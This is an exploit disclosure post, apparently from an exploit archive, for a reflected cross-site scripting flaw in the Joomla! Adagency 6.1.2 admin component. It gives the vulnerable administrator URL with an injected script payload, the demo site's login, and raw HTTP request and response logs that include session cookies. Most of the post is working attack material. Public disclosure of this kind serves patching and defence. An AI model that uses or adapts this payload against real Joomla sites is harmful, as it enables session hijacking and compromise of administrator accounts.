Joomla Adagency v6.1.2 Cross Site Scripting Vulnerability--
Kod:
# Exploit Title: Joomla! Adagency V 6.1.2 Cross Site Scripting
# Date: 24.07.2020
# Author: Vincent666 ibn Winnie
# Software Link: https://adagency.ijoomla.com/
# Tested on: Windows 10
# Web Browser: Mozilla Firefox
# Blog : https://pentest-vincent.blogspot.com/
# PoC:https://pentest-vincent.blogspot.com/2020/08/joomla-adagency-v-612-cross-site.html
https://ijoomlademo.com
user demo
password demo
Example with xss code injection:
https://ijoomlademo.com/administrator/index.php?option=com_adagency&controller=adagencyAbout&task=vimeo&id=""></iframe><script>alert(1)</script>
Host: ijoomlademo.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:70.0) Gecko/20100101 Firefox/70.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: ru-RU,ru;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Cookie: __cfduid=d69abe76a3bda801bb76885512c4eea771597984968; c1095a90cabfb304b8e3637676e86d5a=0ihev4ntiuki9ll57lpd64uok7; 4681557252fe8ff3df4a28d60cb41dc7=4b1fjebpretijcgippvbprub56
Upgrade-Insecure-Requests: 1
GET: HTTP/2.0 200 OK
date: Fri, 21 Aug 2020 09:28:26 GMT
content-type: text/html; charset=UTF-8
x-powered-by: PHP/5.6.38
cf-cache-status: DYNAMIC
cf-request-id: 04b1f229080000c44c940f3200000001
expect-ct: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct"
server: cloudflare
cf-ray: 5c6352ee7e1bc44c-LED
content-encoding: br
X-Firefox-Spdy: h2
---------------------
https://ijoomlademo.com/libraries/ijoomla/agency/admin/js/ace-elements.min.js
Host: ijoomlademo.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:70.0) Gecko/20100101 Firefox/70.0
Accept: */*
Accept-Language: ru-RU,ru;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Referer: https://ijoomlademo.com/administrator/index.php?option=com_adagency&controller=adagencyAbout&task=vimeo&id=%22%22%3E%3C/iframe%3E%3Cscript%3Ealert(1)%3C/script%3E
Cookie: __cfduid=d69abe76a3bda801bb76885512c4eea771597984968; c1095a90cabfb304b8e3637676e86d5a=0ihev4ntiuki9ll57lpd64uok7; 4681557252fe8ff3df4a28d60cb41dc7=4b1fjebpretijcgippvbprub56
GET: HTTP/2.0 200 OK
date: Fri, 21 Aug 2020 04:45:55 GMT
content-type: application/javascript
last-modified: Tue, 18 Aug 2020 16:20:03 GMT
etag: W/"5f3bffb3-41f1"
expires: Thu, 17 Sep 2020 17:29:09 GMT
cache-control: max-age=2592000
cf-cache-status: HIT
cf-request-id: 04b0ef7f7d0000cae4b70c0200000001
expect-ct: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct"
vary: Accept-Encoding
server: cloudflare
cf-ray: 5c61b5126ef1cae4-ARN
content-encoding: br
X-Firefox-Spdy: h2
---------------------
https://ijoomlademo.com/libraries/ijoomla/agency/admin/js/ace.min.js
Host: ijoomlademo.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:70.0) Gecko/20100101 Firefox/70.0
Accept: */*
Accept-Language: ru-RU,ru;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Referer: https://ijoomlademo.com/administrator/index.php?option=com_adagency&controller=adagencyAbout&task=vimeo&id=%22%22%3E%3C/iframe%3E%3Cscript%3Ealert(1)%3C/script%3E
Cookie: __cfduid=d69abe76a3bda801bb76885512c4eea771597984968; c1095a90cabfb304b8e3637676e86d5a=0ihev4ntiuki9ll57lpd64uok7; 4681557252fe8ff3df4a28d60cb41dc7=4b1fjebpretijcgippvbprub56
GET: HTTP/2.0 200 OK
date: Fri, 21 Aug 2020 04:45:55 GMT
content-type: application/javascript
last-modified: Fri, 21 Aug 2020 00:20:11 GMT
etag: W/"5f3f133b-1b93"
expires: Sun, 20 Sep 2020 04:45:55 GMT
cache-control: max-age=2592000
cf-cache-status: MISS
cf-request-id: 04b0ef7fbf0000cae4b70c3200000001
expect-ct: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct"
vary: Accept-Encoding
server: cloudflare
cf-ray: 5c61b512cf76cae4-ARN
content-encoding: br
X-Firefox-Spdy: h2
---------------------
https://ijoomlademo.com/libraries/ijoomla/agency/admin/js/jquery-1.9.1.min.js
Host: ijoomlademo.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:70.0) Gecko/20100101 Firefox/70.0
Accept: */*
Accept-Language: ru-RU,ru;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Referer: https://ijoomlademo.com/administrator/index.php?option=com_adagency&controller=adagencyAbout&task=vimeo&id=%22%22%3E%3C/iframe%3E%3Cscript%3Ealert(1)%3C/script%3E
Cookie: __cfduid=d69abe76a3bda801bb76885512c4eea771597984968; c1095a90cabfb304b8e3637676e86d5a=0ihev4ntiuki9ll57lpd64uok7; 4681557252fe8ff3df4a28d60cb41dc7=4b1fjebpretijcgippvbprub56
GET: HTTP/2.0 200 OK
date: Fri, 21 Aug 2020 04:45:55 GMT
content-type: application/javascript
last-modified: Tue, 18 Aug 2020 16:20:03 GMT
etag: W/"5f3bffb3-169d9"
expires: Thu, 17 Sep 2020 17:29:09 GMT
cache-control: max-age=2592000
cf-cache-status: HIT
cf-request-id: 04b0ef7fc10000cae4b70c4200000001
expect-ct: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct"
vary: Accept-Encoding
server: cloudflare
cf-ray: 5c61b512cf79cae4-ARN
content-encoding: br
X-Firefox-Spdy: h2
---------------------
https://ijoomlademo.com/libraries/ijoomla/agency/admin/js/jquery-ui-1.10.3.custom.min.js
Host: ijoomlademo.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:70.0) Gecko/20100101 Firefox/70.0
Accept: */*
Accept-Language: ru-RU,ru;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Referer: https://ijoomlademo.com/administrator/index.php?option=com_adagency&controller=adagencyAbout&task=vimeo&id=%22%22%3E%3C/iframe%3E%3Cscript%3Ealert(1)%3C/script%3E
Cookie: __cfduid=d69abe76a3bda801bb76885512c4eea771597984968; c1095a90cabfb304b8e3637676e86d5a=0ihev4ntiuki9ll57lpd64uok7; 4681557252fe8ff3df4a28d60cb41dc7=4b1fjebpretijcgippvbprub56
Picture:
https://imgur.com/a/w2attqc
XSS code on the pastebin:
https://pastebin.com/bRSnjZtL
# 0day.today [2020-09-04] #